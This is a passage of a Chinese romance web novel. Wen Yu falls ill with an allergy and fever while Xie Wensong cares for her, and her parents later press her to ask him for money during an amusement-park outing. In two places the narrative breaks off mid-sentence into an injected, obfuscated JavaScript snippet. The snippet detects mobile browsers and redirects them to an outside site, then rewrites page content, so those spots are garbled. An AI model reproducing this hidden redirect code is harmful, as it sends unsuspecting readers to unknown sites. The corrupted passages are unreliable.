早晨出来的时候还是晴天,这还没到中午,天空已经阴云密布,仿佛是在给下雪作前兆。 天气有时候会莫名其妙影响心情,温遇感觉自己和谢闻颂说完那句话以后,心里更加堵得慌。 这种几近陌生的情绪在前二十几年基本没有降临在她的身上,所以她发现被影响之后才后知后觉意识到这点。 剩下半节课她基本游走在小朋友们中间,只是时不时还会将目光投注最后一排的某人身上,见他低头看手机,温遇又把注意力重新收回来。 刚才陌生的感觉再次重现,这次温遇发现,她没想明白的原因其实来自谢闻颂。 她从来不是内耗和纠结的人,从小到大她一直目标清晰的,在每个阶段都有自己很清楚要完成的事,也从没丢掉应该付出的努力。 温遇自认为自己也不是一个脆弱的人,她从不否认过去发生在她经历中的每个困难。 毕竟不管是坏事还是好事,但凡少了一样,她也不会成为今天的自己。 但现在她极个别时候,并不能像从前一样掌握自己的情绪在手中。 应该是从谢闻颂承认喜欢她之后才开始的。 温遇不太喜欢这种情绪不受控制的自己,可是这颗总是摇摆不定的心,她真的很难把控。 和谢闻颂的相处也和从前不一样,她会在某些时刻特别茫然要怎么面对他对自己的好。 过去所有她以为的朋友关心,全都打上恋人的标签。 有些关系戳破以后发生的改变,原来也能重塑一个人。 可她,并不想改变。 不想因为一段感情丢失自己原本的冷静。 绘画课结束以后,老师和助教要领着孩子们把自己的调色盘洗干净,温遇这发现自己袖口不知何时蹭上了颜料,上手一摸,已经干透。 洗手池的空间有限,只能让孩子们分批去刷洗自己的颜料盘,有几个没排到的孩子凑在一堆把温遇叫过去,也不知道是谁先开的头,有人伸手把颜料蹭在了温遇的脸上。 温遇这才发现他们几个的脸上也都互相抹了颜料,便也没介意,只是让他们先把剩下的东西收拾好,等着老师喊去刷调色盘。 她帮忙收画笔,等全都忙完,刚才教课的老师提醒她脸上蹭了颜料,温遇才想起来。 她说了句谢谢,重新返回教室,却没在最后一排看见谢闻颂。 心尖的怅然若失仿若迷雾飘荡,发涩的感觉照样有吞噬作用。 温遇刚迈出教室门,谢闻颂迎面挡在她眼前。 他说:“现在可以拉你的手腕吗?” 谢闻颂视线在温遇脸侧停留,明显也看到她脸上抹的颜料。 没等她回答,谢闻颂已经从兜里抽出手,直接握住她手腕,往洗手间的地方走。 在女卫生间门口,他顿住脚步,转身拉着温遇进了茶水间,好在这里也有洗手池。 谢闻颂也不知道从哪翻出来一块纯色手帕,打开水龙头浸湿再拧干,动作相当流畅。 “过来。” 温遇噢了声,走到他身侧,面前的镜子倒映彼此的身影,像平行世界同频的他们。 微微湿凉的触感贴上脸,温遇被这股凉劲儿冰了下,轻轻吸口气。 “别动。” 温遇目光往旁边撇,牙齿轻咬唇边。 谁说上次触碰脸颊之后他们没有暧昧的动作。 这不就暧昧上了? “你自己蹭的 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心尖有一瞬间绷紧,温遇就站在他旁边,脸上的红色印记还没消去,伸出手握出他还没完全擦干的掌心。 “现在可以牵手,不用再提前问我了。” …… 温遇上车之后感觉头有点晕。 安全带系上就想迷迷糊糊睡过去,直至谢闻颂把她叫醒。 温遇用手背轻揉干涩的眼睛,看清他眼底的罕见的慌乱。 她怔住:“怎么了。” 温遇这才发现谢闻颂已经将车停在路边,窗外完全不熟悉的环境让她重新转回头,将疑惑抛给他。 “你有没有觉得脸上很痒?” 谢闻颂说完,将目光从温遇脸上挪开,重新启动车,速度比刚才要快。 “我们先去医院。” 温遇反应过来他说的意思,立刻打开前置摄像头,脸上刚才被涂过颜料的位置已经起了不正常的红。 这是过敏。 谢闻颂余光注意到温遇坐在位置上不发一言,知道她应该是担心脸上的过敏,开口:“别担心,快到医院了。” “储物格里有口罩。” 谢闻颂将车开到医院,挂号缴费之后,温遇带着口罩坐在走廊里。 周围来看病的人不少,声音嘈杂不停歇,让她本就晕乎乎的脑袋更疼。 上一次脸上起过敏还是因为误涂了不适合自己的化妆品。 没想到这时候又要经历一次。 温遇抬手摸了下额头,温度不太对。 她微微仰头,伸手扯了一下谢闻颂的衣角。 “谢闻颂,我好像发烧了。” 旁边的人在温遇面前蹲下身,往后撤一条腿蹲在她面前,用手背贴在她刚才的位置。 谢闻颂的手很凉,温遇觉得自己大概率是发烧了,出口的声音也比刚才哑:“怎么办?” 是在问他,也是在问自己。 旁边人还在吵,走廊里闹哄哄的,温遇坐在那,突然某一瞬间,突然有什么从眼眶里掉出来,砸在口罩的边缘。 她伸手摸到湿漉漉。 是眼泪。 过敏犯得脸上又痒又疼,温遇根本不敢伸手碰,刚从谢闻颂车上拿了一个印花口罩戴上,不然就要顶着红肿的脸直接走进来。 突如其来的泪意打湿口罩,温遇不明白自己怎么情绪来得如此突然。 “没事,你不用管我。” 后脑勺被轻柔的力道扶住,温遇的头被谢闻颂带着靠在怀里,刚才拉他衣角的手被谢闻颂握在掌心。 “别怕,我在。” 这个人啊,看着总是一副漫不经心的样子,关键时刻又那么可靠。 可靠到温遇有一瞬间觉得,自己会因为贪恋这短暂的温暖而不想离开他。 46.荔枝 46/ 温遇和谢闻颂回家的时候天已经黑下来。 温遇脸上的过敏不算特别严重,医生看过给开了过敏药,但是因为她还在发烧,同时还问了她家里有没有退烧药。 不过口服退烧药要先物理降温,就算没有作用也要等超过一定温度才能吃药。 从医院出来,温遇勉强撑着精神坐回车里,也许太难受,她揉完太阳穴,下意识就想用手背贴到脸上,还好被谢闻颂及时拉住。 “稍微忍一会儿,等回家我给你处理。” 温遇坐在副驾驶,双腿上放着装药的小塑料袋,谢闻颂在旁边开车,她就在那扒拉里面的药盒。 生病像个小孩儿。 药盒反反复复就那几个,温遇玩无聊了便也丢在一边,好在医院距离蓝湾不算远,开车二十分钟就能回家。 一进门,温遇照旧以秒速拖鞋然后去沙发上窝着,有了上次的经验,谢闻颂已经对她这招见怪不怪。 客厅灯被谢闻颂打开,他勾着手指把塑料袋搁在餐桌上,走到沙发旁边,手背自然而然贴上她额头试温度。 “先别睡,把过敏药吃了。” 温遇鼻音哼了声,手眼看着又要往脸上摸,谢闻颂只好再次擒住她手腕。 似乎是真的有些无奈,谢闻颂松开她手腕,借她力道支起上半身。 温遇身体不舒服,剩下的事自然都得谢闻颂来做,家里暖壶还有早上她没喝完的水。 谢闻颂还是都倒掉重新煮新的。 煮水的功夫,谢闻颂找到上次温遇给他拿药箱的位置,里面还有未拆封纱布。 将纱布用水浸湿,谢闻颂再回到沙发边,看温遇侧脸的红肿情况。 半个下午的时间,颜色比刚开始他在车上发现的时候淡了很多。 即便如此,他也没大意,小心将浸水纱布敷在她的脸上。 “好凉。” 温遇被冰得蹙了下眉,睁开眼看到这张脸已经没什么其他的反应,还就是因为她确实太难受了。 烧应该还没退,她腋下还夹着体温计,根本分不清现在已经几点。 这会功夫水烧得差不多,谢闻颂从她冰箱里拿出冷藏的矿泉水稍微兑了下,让温遇好歹先把过敏药吃掉。 她腋下的温度计也到时间,谢闻颂看刻度还是在三十八度五左右,只能把退热药也让她吞服。 将药片吞下去后,温遇稍微眨眨眼,谢闻颂抬手拂了拂她刘海:“进屋去睡吧,我抱你。” 温遇稍微反应了会儿,脑回路不知怎么接到了之前的某个瞬间。 她眨眨眼:“上次也是你抱我吗?” 是上次跨年夜一起拼图的时候。 之前都没问过的问题,却在此刻被提起。 而那时,他们也不是今天的关系。 “你说呢?” 谢闻颂的这句反问倒像是直接肯定。 他收回触碰她刘海的手,膝盖贴在沙发边上,用上半身将她虚拢着。 温遇感觉他们两个现在的位置有点危险,她下意识把整个身体蜷起来寻找安全感。 只是还没等她缩多少,谢闻颂已经一手从她后脖颈穿过,另一只手勾起她的腿弯,将温遇整个人抱起来。 生病的原因,女孩身上根本没有多少劲,像只蔫头耷脑的猫窝在他怀里。 温遇微微垂着脑袋,闷声说了句:“不要你抱。” 谢闻颂听见后面无表情回答,不打算纵容她这句话:“不让我抱我也抱了。” 一副木已成舟你能拿我怎样的无赖样,温遇面对这样的他还真没什么办法。 谢闻颂把她从客厅抱到卧室根本不需要什么力气,帮她把被角掖好,还没有要走的意思。 温遇放在被子外的手挠挠他手背。 小猫一样的动作,谢闻颂还挺喜欢这种磨人劲。 温遇脸上还贴着刚刚换上的浸水纱布,谢闻颂寻思整个冰袋帮她降温,但是家里没有,所以只能用湿毛巾,一次一次更换。 见温遇指尖还勾着他,谢闻颂知道她应该还是不太舒服,放低声音:“你安心睡,我在。” 刚才在医院,他也是这样说的。 他总是说他在。 而他也确实是一直在。 温遇也不得不在心底承认,有谢闻颂在,她做任何事情都不需要太费心。 迷迷糊糊间,她使出最后一点力气,勾住谢闻颂的手指。 “虽然我对这段感情还很迷茫,不过在这段过程中,我也在努力。” “谢闻颂,你可不可以,等等我。” 她声音很小,甚至眼睛都没完全睁开,却还强撑着精神和他说话。 在温遇手指脱力往下坠的瞬间,谢闻颂将她整个手握在掌心,一点点渡去热量。 温遇睡着,清浅的呼吸声均匀。 谢闻颂看时间差不多就去卫生间重新冲洗一遍毛巾,拧干水叠好再敷在她的额头。 来回几趟,温度低了很多。 谢闻颂也稍微松口气。 最后一趟换毛巾,谢闻颂把本就调到最小亮度的床头灯彻底熄灭。 黑暗的空间仿佛一个密闭的纸盒,将他们两个人拢在里面,夜里疯长的情感宛若新芽滋生,生涩的感情在紧窄的空间横冲直撞,撞得他心口一阵闷痛。 谢闻颂双手撑在温遇身体两侧,轻柔而缓慢地俯下身,用侧脸很轻地碰了下她还没完全退去热度的脸。 用极尽小心却又难以克制触碰,谢闻颂蜻蜓点水一下就挪开,仿佛什么都没发生过。 他走到客厅躺在沙发上,轻轻闭了闭眼。 一条手臂横在眼前,将本就漆黑的眼前彻底罩在只有他一个人的世界里。 可是那么黑,他却一点都不害怕。 甚至还能很轻松地笑出声。 仅仅只是因为温遇刚才的那句话。 谢闻颂从喜欢温遇说每句夸他的话,再到喜欢她对他说的每一句话,再到如今—— 只要是她说话,他能看见,就会喜欢。 这样的解释对一个人来说未免太过荒谬,可喜欢确实是这样。 除了和你见面的日子,剩下的每个时间,我都好想你。 哪怕你在我眼前。 也不会耽误我说那一句。 我好想你。 - 温遇因为脸上的过敏和发烧,只好找饶婷请了几天假在家里休息,她一开始本来是打算自己点外卖吃,结果被谢闻颂抓到过一次,他就每天忙完自己的事陪她一起去超市买菜,然后再做饭。 如果温遇不想出去,他就自己一个人去。 其实她自己也不是不能做饭,只是初春的风仍旧料峭,吹到脸上会不太舒服,寻思先把这几天凑活过去,等正常上班以后,也就一切恢复如初。 温遇没想到第一次就被谢闻颂抓到,他虽然冷起脸,倒是没说什么,可能觉得她现在是病号,大发慈悲地不太想和她计较。 锅里正小火咕嘟着粥,在客厅里玩switch的温遇早早就闻见,这会儿默默放下游戏手柄,小步小步挪到厨房正温着粥的灶台前,打开盖子闻了闻。 谢闻颂正在旁边搅蛋液,把她这副偷腥小猫样看了个彻底,本想腾出一只手用食指和中指夹下她的侧脸,突然想起她脸上起的过敏,这才忍下这股冲动。 “饿了?” “还好吧。”温遇感觉自己像个馋虫,所以努力压下心底的躁动并不承认。 “要不我给你盛点?” 某人心底憋着坏,正循循善诱。 温遇把到嘴边的“好”字给憋回去,一副无辜样朝他摊手:“这是你说的啊。” 言外之意她并没有想提前喝的意思,是他让自己品尝的。 自己只是盛情难却的那一个。 谢闻颂感觉自己这么一直憋下去肯定会把自己憋坏,只是实在没忍住笑出声,找了个空碗给她盛了点蔬菜粥:“烫,慢点喝。” 温遇手指搭在碗边把粥接过来,都到这步了她自然也不打算隐藏,小口吹凉勺子里的粥往嘴里送。 只喝了一口,温遇便笑着幸福眯起眼,肩膀蹭上谢闻颂的袖管:“好喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她用筷子戳着米饭:“是什么意思?” 她虽然把这句话问出来,但是并没有什么底气。 谢闻颂觉得可能用底气形容差点意思。 可能用试探来描述更合适。 可谢闻颂似乎并不太想讲透,又或许是时间还不适合,最后也只说了句:“没什么意思。” 温遇显然对这个答案并不太满意:“你这也太敷衍了吧,我就不信你刚才不知道我想问什么。” 有时候一起长大也有弊端,就是在很多事情对彼此太过了解,了解到有些自己的小心思藏也藏不住。 不止他能猜到温遇的。 温遇自然也能猜到他的。 谢闻颂不会拒绝这种感受,只是现在他们的关系明显还在接轨的过程中,他并不想在这个节骨眼过多强调他对她的感情。 毕竟语言总是比行动贫瘠,他太长时间走在她身后了,所有下意识的行为都可以宣告他的私心,可在温遇面前,所有标签他的爱都会被透明。 他当然喜欢温遇,也比自己想象中还要更喜欢。 谢闻颂甚至能用很多词语来形容这段感情,将它著成冗长的文字段落,可这封写得满满当当的信,需要最适合的时机打开。 还不是现在。 温遇见自己这么问,谢闻颂还是没有要说详细的意思,也收回了自己的目光。 餐厅的气氛又变安静,和刚才体温相贴的暧昧远去不少。 他们之间总是会有忽近忽远的感觉,温遇在想这是不是自己的错觉。 碗里多出几块她爱吃的嫩菜心,温遇抬头,目睹谢闻颂给她夹菜的动作。 还没等把碗往后撤,嫩绿的菜心已经放在米饭上。 “你会知道的。” 谢闻颂盯着她的脸:“如果真的有那一天的话。” 47.荔枝 47/ 三月初春,万物萌发。 温遇早晨起床的时候发现暖气停掉了。 她把窗户开一道缝,手稍微往外探了探,还是有点凉。 不过好在难熬的冬天基本已经过去,留个小尾巴残余在春,温遇倒是也能接受。 只不过估计棉袄保守还得再穿一个礼拜,衣服倒先不用收拾了。 手机里是谢闻颂发来的消息,说他做好的早饭在锅里温着,今天他要飞外省,早餐没办法准时给她拿过来,只能估摸着时间先温着。温遇要是发现凉了,可以自己热热。 温遇坐在床边回了句好,然后又问他到没到地方。 稍微等了半分钟,谢闻颂还没回,估计是还没下飞机。 熟练跑到对面输入门的密码,核桃本来还趴在窝里,听见声音立刻直起身子往门口跑,见是温遇,又绕着她腿兴奋打圈儿。 温遇把早餐拿到自己的餐桌上,顺带还把核桃拐过来。 她刚去谢闻颂那边,屋里的温度比她屋里这还冷,温遇怕核桃受冻,就也把它的东西搬过来。 她把核桃的事也一股脑打包扔到对话框里,发现上面的消息谢闻颂还没回。 可能还没落地。 刚要把最后一口包子咬完,手机自动弹出微信视频聊天的界面,发起视频聊天的人赫然是徐翩禾。 温遇反应迟滞片刻,赶在系统自动挂断前摁掉接通按键。 连接加载一两秒,对面人的脸占据手机大部分屏幕,温遇开了口:“妈。” 徐翩禾似乎对她接电话的速度不太满意,只是也没有多说什么:“你这孩子,我不给你打电话,你也不知道给家里报个信?” 温遇哑然。 从上次自己回家取东西到现在,温遇基本没回去过,更别提私下和他们见面。 夫妻俩怎么可能没感觉到孩子的疏离,只是也不知道问题出在哪,一般这种找不到答案的结果,最后都会慢慢发展为不满,归结在孩子长大翅膀硬了这一条理由上。 以此寄托,似乎格外有说服力。 温遇喝了口牛奶,垂着眼没说话。 却在等这通视频什么时候开始倒数。 徐翩禾瞅见她这样,想说什么终极还是忍住,只是缓缓叹了口气。 “这周末你有时间吗,我们一起去趟游乐园,和你弟弟一起。” “一家四口好久没在一起聚过了,前段时间医生说你弟弟恢复得还不错,你爸爸正好拿到了四张票,正好这次可以一起去。” 温遇张了张口,最后还是没说出拒绝的话。 心口堵得慌,最后一口包子吃得也没什么特别的滋味。 退出和徐翩禾的聊天栏,温遇这才发现谢闻颂刚刚回了她的消息。 她点点屏幕。 小鱼丸了:【表情包】 是森贝儿歪头的表情包,旁边有“在干嘛”三个字。 表情包点出去的后几秒,温遇都不知道自己的手指刚才是怎么选中这张的。 谢闻颂在线,秒回。 Bigboss:不开心了? 她看到这条,脚趾都下意识蜷起,刚才还被情绪冲击的复杂心情一下子被人轻轻拨开,轻轻敲门往里送了杯热茶。 原本结束视频通话时温遇都觉得没什么的,只不过是心情有些复杂而已。 她的情绪变化还没暴露出来,谢闻颂却比她自己还要提前感觉到。 愣神的这一会,对面早拨过来语音电话了。 温遇接听,鼻腔发酸却还努力压住声音:“喂——” 相比于她这边的安静,谢闻颂那边明显刚出机场,背景音还有机场的播报声,风吹到听筒为杂音多添了一笔,行李箱的滚轮声也混在其中。 可是在这样嘈杂的环境里,谢闻颂的声音一点没被周围削弱半分。 他将手机贴在耳边收声,语气说得轻松,掩饰不住的温柔被收拢在听筒。 “怎么不开心了?” 温遇轻轻吸了吸鼻子保持沉默,悄悄用袖口抹了下眼角,盯着睡裤的一根长出来的绒毛发呆。 “今天早饭冷了吗?” 谢闻颂不继续刚才的话题,刚才那一页被轻松翻过。 “没冷。” “那我应该是没做好。” “挺好吃的。”她回。 “那你怎么哭了?” 两个人聊到这,温遇其实有点绷不住,不过还是硬着嘴反驳:“我没哭。” “好,你没哭。” “你知道在刚接通电话的第一分钟里。”谢闻颂笑了声,只不过说出的话与他的笑并不同频。 “我其实在想立刻买机票回去。” 电话这头的温遇听到这句,不禁愣怔。 “虽然我之前想过让你为我掉眼泪,但我并不想你因为难过而流泪。” “哪怕难过是因为我。” “为什么一定要我流眼泪?” “可能是因为。”谢闻颂顿了下,“眼泪只给重要的人流吧。” 温遇不自觉咬了下唇。 这话说的,好无赖啊。 可是谢闻颂这样,她偏偏无解。 只能在电话这头默默鼓起腮以表抗议。 “没有。”谢闻颂单手将行李箱拎到出租车后备箱,“我是说真的。” “什么时候?”温遇突然有点好奇。 这人净想着让她掉眼泪这种事,成功把她带跑偏,温遇自己也没发现,刚刚的心情已经成为过去时。 谢闻颂是不是给她施魔法了。 三两句就能把自己的坏情绪给调走。 “高中毕业,林思睿出国的时候。” 谢闻颂顺手带上出租车门,没隐瞒,挺自然提起。 “那天啊。”温遇仰起头想了会儿才想起他说的具体是哪一天。 她突然意识到什么,试探性问:“你不会吃醋了吧。” “有那么一点吧。”谢闻颂故作惋惜叹了口气,“毕竟我真的没怎么见过你为我掉眼泪。” 【我的眼泪为你而流。】 温遇感觉这话怎么看怎么不对劲。 于是她选择默默闭上嘴。 好不容易把刚才的不开心揭过去,谢闻颂怕她又往回想,刚要说什么,电话这头的温遇却突然来了句:“你怎么知道——” 我没为你掉过眼泪。 谢闻颂明白她意思后难得迟疑,语气里掺着好奇:“什么时候?” “不告诉你。” 温遇明显不打算告诉他。 而谢闻颂也只当她这是安慰自己,也不打算刨根问底。 温遇想想,还是把自己刚才和徐翩禾的聊天内容告诉了谢闻颂。 “你想去就去,不想去就说我周末找你有事。” 谢闻颂说完这句意识到什么:“你是不是还没和家里说我们的关系。” 温遇嗯了声,敏锐捕捉他这边几秒的沉默,连忙开口:“我不是故意不给你名分……” “没事。”谢闻颂指尖点在车窗玻璃上,“我说过要给你时间的。” “名分这东西,身外之物。” 他说得慷慨,实则心里酸酸的,不过也没有被巨大悲伤淹没,谢闻颂在心里想,最多只是有一丢丢酸胀感而已。 说一丢丢就只有一丢丢。 还没来得及抹去委屈的小尾巴被温遇轻松捕捉,他这样让对面女孩起了逗弄的心思,稍微清了清嗓。 “真不在意啊谢闻颂?真不在意还是假不在意?” 谢闻颂这回是真被她气笑了。 明明温遇此时根本不在他眼前,他却能想象得到她问这话时凑上来的表情,恨不得和他脸贴脸地问到底在不在意。 没看见他的时候,她连兔子耳朵都懒得藏好。 有时候胆大包天,毫不遮掩自己的挑衅和胜负欲,而他一旦凑近,她又胆小跟什么似的。 “我如果说我在意呢?你想好要怎么补偿我吗?” “补偿……什么?”温遇卡了个壳。 “下次准备好底牌再来挑衅我,温鱼鱼。” 谢闻颂轻轻笑了下,“毕竟我这人挺挑的,不是什么补偿我都接受。” - 周五晚上稍微熬了个夜,温遇早晨起床的时候明显有点提不起来劲。 做了个颠三倒四的梦,醒来以后根本不记得梦的内容。 这导致温遇穿衣服的动作都慢半拍。 他们约定的是在市游乐场集合,温遇把这事和谢闻颂说过以后,他说如果她这边要是结束早,他们就一起去吃晚饭。 温遇答应了。 她站在门口,往脖子上围围巾的时候还在想。 噢,原来今天她有两个约。 早晨十点,市游乐场开门,门口排队的人就挺多,徐翩禾他们前一天晚上就在园区的酒店里住下,第二天早上直接可以提前半个小时入园。 不过温遇因为是从蓝湾赶过来,要先在外面排队才能进,于是等她刚走进园区的时候,他们已经体验过几个项目了。 温途因为身体原因,很多偏刺激类的游玩项目都不能参加,如果没有家里人陪着,更是不能去这种人多的地方。 所以那天谢闻颂说他们估计不会在游乐场待多久,才有的他们晚上一起吃饭这件事。 他们家这点事,他从小和她一起长大,又怎么会不知道。 所以谢闻颂,大抵也很清楚她对回家这件事隐隐的抵触。 温遇默默垂眼。 其实她知道,徐翩禾喊自己来的最大原因就是想撮合她和温途的关系。 她也很清楚来这玩只是个幌子。 成年后因为她鲜少回家,和弟弟接触自然不多,而在以前她还在读书时,温途大多也在治疗,见面的次数和时间也不多,放假大部分时间她买票去余杭。 温遇认为,哪怕是再迟钝的人,也很难不在这段关系里感觉到自己是被冷落的哪一个。 可不管父母是否意识到这点,造成的影响很难通过逃避用时间弥合。 可徐翩禾和温成钢总是在布满裂缝的水晶球里寻求一家和乐的想法。 温遇始终没有去触碰那最后一下,生怕那美丽的水晶球是在她手里被碰碎。 所以她其实也在逃避。 每每这样想时,温遇也觉得自己并不是一个勇敢的人。 甚至那天徐翩禾打过来语音通话的第一时间,她甚至在想如果她问自己,是不是不打算回家,她到底要怎么回复。 原来已知问题的答案也这么难说出口。 温遇心里因为想这些事七上八下,跟着人流走也不知道撞到了谁,对方朝她匆匆道歉便重新汇入人潮,温遇反应过来的时候,肩膀都被撞麻。 心脏通往身体最大的通路仿佛被人强硬塞了块泡水馒头,饱胀又带着并不适口的湿软感,将心情变得并不怎么好。 刚给温途买完纪念品,三个人站在商品店门口,倒是温途最先看见她,往其中一个位置挥了挥手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14465553|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 温遇稍微整理了下心情,迈步往他们那边走去。 徐翩禾迎着她往前走两步,帮她整理围巾的边边角角,眼神基本没有痕迹地从她身上带了下,温遇敏锐地发觉,有些不自然这样的亲昵,可也没抗拒。 她下意识低头往女人刚刚触碰的位置看去,徐翩禾也注意到她目光的变化,搭在围巾边缘的手指自动垂落。 温成钢拉着温途走在前面,她们母女俩走在后面。 “你今天想玩什么?” 妈妈主动开口,温遇抿唇:“都可以。” 话题到这,似乎又陷入了新的僵局。 “每次问你你就说都可以。” “那你也不能什么都不玩啊,都来了。” 徐翩禾对她这个回答并不满意,微微蹙起眉:“既然来了那便来了,也别想太多,一家人也不好凑齐一个时间出来玩。” “我知道了。” 温遇感觉徐翩禾拉着自己的手并没有什么温度。 她忍着想挣开的冲动。 温遇来时正赶上他们休息,三个人来到小木屋造型的餐厅里吃东西。 模样看着还不错的草莓切片慕斯,温遇用叉子刮下来一个角,甜度有点超标。 温途的饮食由家里负责,温成钢刚才打了个电话,这会提着饭盒的阿姨匆匆赶来,里面有来之前准备好的食物。温途自己拿起勺子吃饭,一个抬头恰巧和她对视,露出一个天真的笑容。 口腔里还未去的奶油甜得发腻,厚重的油腻感仿佛把所有声音重新堵回去,温遇也扯出一个笑回应他。 徐翩禾照顾着温途吃饭,转眼看温遇这边的蛋糕没怎么动,“怎么没吃?” “有点太甜了。”温遇将银质叉搭在盘子边儿。 “你这孩子不好好吃饭,现在到饭点还吃蛋糕,下午不饿就怪了。” 这片吃饭的人本来就不少,此刻又是饭点,温遇明显感觉徐翩禾说完她之后,身边有几道目光聚集在她身上。 二十多岁的人,出来的时候还是免不了要被父母唠叨。 温遇倒没有什么不好意思的,她不管在内还是在外一直都用沉默顶着乖的标签,所以徐翩禾也总以为这是温遇听进去的表现,实则这张软妹脸下是自己固执的想法。 蛋糕甜腻,但还好柠檬气泡饮可以缓解一下这股直冲天灵盖的甜。 温遇感受气泡再口腔里炸开的感觉,在想要不要再去买份三明治充饥。 “温温啊。”对面的男人喊她。 温遇抬头。 “你和小颂,最近还联系吗?” 温成钢双手交叠放在桌子边缘,温遇在想这话要怎么回答。 上次她回家拿东西的时候,他也是问她谢闻颂的情况。 还说有空可以把他叫来一起吃个饭。 温父温母从小对她身边朋友这件事没怎么干涉过,也鲜少这样频繁地问她身边具体的某一个朋友。 温遇察觉出了这里面或许有不太对劲的地方,斟酌了下道:“就和以前一样。” 毕竟她连和谢闻颂住对门这件事都没和他们说,就更别提她现在和谢闻颂的关系。 说出来只会吓他们一跳吧。 “这样啊。”温成钢叹了口气。 “爸,怎么了?” 徐翩禾给护工阿姨使了个眼神,对方放下手里的餐具,默默离开了座位,找距离他们稍微远一点的位置坐下。 温遇将疑惑的眼神抛给徐翩禾。 “你爸爸前段时间和他朋友凑热闹合伙参与了个投资,结果在风险评估地问题上出了点毛病,带着家里的钱扔进去,现在资金有点周转困难……” “你也别怪你爸,当初和你爸一起投的那批人,基本多多少少都赔了些。” 话说到这,温遇基本能猜到剩下的内容是什么。 “高利润的代价就是高风险,这次是我太不理智了。”温成钢脸上露出了点疲态,和周围欢乐的氛围并不相融。 股市投资这方面的事温遇虽然不清楚,但也知道里面的水深,温成钢之前做生意虽然也吃过亏,不可能比她知道的更少。 “所以想找小颂帮帮忙。” “可是。”温遇顿了下才艰难开口,“谢闻颂他也起步没多久——” 温成钢听见她的话,以为是因为这个担心,眉间顿时一松:“这个你放心,我从别的途径了解到,环想上个季度的营收不低。” “这点钱对他并不算大事。” 温遇心凉了半截,心底被人悬上铁块重重往下沉。她这回彻底没话说了,这些话落到她耳朵里,比刚才周围的视线更不是滋味。 现在她和谢闻颂的关系不只是普通朋友,哪怕他们维持着之前的关系,她也没办法在他面前开这个口。 更何况,她自己都没整理好这份感情,现在出了这样的事,要她怎么以女朋友的身份和谢闻颂开口。 挣扎和尴尬游走在她身体周围,温遇用力攥紧手指,试图驱赶这种强烈的不适。 徐翩禾和温成钢的视线双双落在她身上,似乎在等待她接下来的话,只是温遇什么话也没说。 放在边上的手机屏幕倏然亮起,温遇像突然摸到了一根可以支撑她站起来的稻草,顿时挪开视线往那瞥去。 对方连着三条—— Bigboss:今天有没有按时吃午饭? Bigboss:我其实想问的是你开不开心。 Bigboss:不开心想提前走也没关系,我去接你。 48.荔枝 48/ 温遇最后还是选择多买一个三明治充饥。 来之前从咖啡店打包了杯不太常喝的美式醒醒神,不出意外还是没加糖,苦得喉咙都发疼。 喝了一半实在喝不下去,温遇在便利店买了瓶牛奶兑进去,口感比之前要好得多。 她当时还在想,咖啡醒神的功效会不会被牛奶稀释。 不过都灌进她肚子里,要吵架也只能在这里争个头破血流。 温遇认为这不会是让她烦恼的问题。 打包的三明治被她放在随身背的挎包里,四个人解决完午饭后,温遇见父母并没有打算离开想法,就跟着他们东走走西走走。 这会儿游乐场里的人比上午要多一些,放眼望去,基本没什么冷清的地方。 温途想和花车上的人偶互动,温成钢将他抱起,八九岁的少年正是长身体的时候,体重不算轻,温遇看中年男人明显有些吃力的动作,一时间不知道该说什么。 刚才餐厅里他和自己说的话犹在耳边,温遇自然没忘。 刚才可以称得上有些狼狈的男人,和此刻努力逗小儿子开心的面庞重叠在一起,泛起轻微的割裂感。 冷风拂过她的鼻尖,将身体的每个感知器官都磨得钝了些,温遇下意识吸了吸鼻子,嗅觉短暂丧失。 放在大衣口袋的手指抵在手机锁屏按键上,摁下又松开,轻微的响动似乎总是错一拍被她听见,温遇抬头和花车上的马达加斯加企鹅玩偶人刚好对视,小企鹅看到她,努力朝她挥手。 心头划过抹很奇妙的触感。 心房破洞漏雨的位置被贴上一张还算透气的创可贴,纵使每次雨天还要在下面放个盆接滴落的雨水,但在晴天却不再害怕被阳光灼伤,还能感受到外面的新鲜空气。 温遇还没等把手从大衣兜里抽出来,花车已经从他们的位置经过,后面会跟着新的人偶朝四周的人群打招呼。 和温遇打照面的人也重新换了一批。 四周的人群被围栏与中央的花车巡游隔开,温遇错开视线往对面看的时候稍微愣了下。 有个身影很像谢闻颂。 但因为中间隔着至少三十米,加上对方只有个隐没在人海的侧影,温遇一度怀疑是自己的错觉。 如果她现在给谢闻颂发消息,说她在游乐场看见一个很像他的身影,不出意外会收获到一连串的疑问。 比如。 【???】 【你确定?】 【那你形容形容,为什么会觉得那个身影像我?】 【温鱼鱼,不会这么多年相处下来,你连我的背影都认不出来吧。】 温遇感觉眼前都能浮现出某人的脸,颇为嫌弃地将她脑海里刚才自动弹出来的话一字一字念出来。 毕竟悄摸摸跟踪这种事,谢大少爷怎么会做。 他只会像只孔雀一样张扬自带光走到她面前,用各种语气喊她温鱼鱼。 玩笑的,逗弄的,不经意的,故意的…… 想到这,心口熨帖上星星点点的热度。 温遇又尝试将视线往对面认真逡巡几遍,眼睛都有点看酸了才收回目光。 思忖着感觉应该是她看错了。 于是往外摸一半的手机又被她给重新推回兜里。 中午的花车巡演告一段落,他们又转战去剧院厅看人偶演出,他们进去得要晚一些,所以基本前排和中间的好位置都已经被人占了。 只能从两侧的楼梯上到后面的排找位置。 温遇兴致不太高,默默坐在最靠边的位置,心里想起刚才午饭父母对她说的话,心中一片难言的复杂。 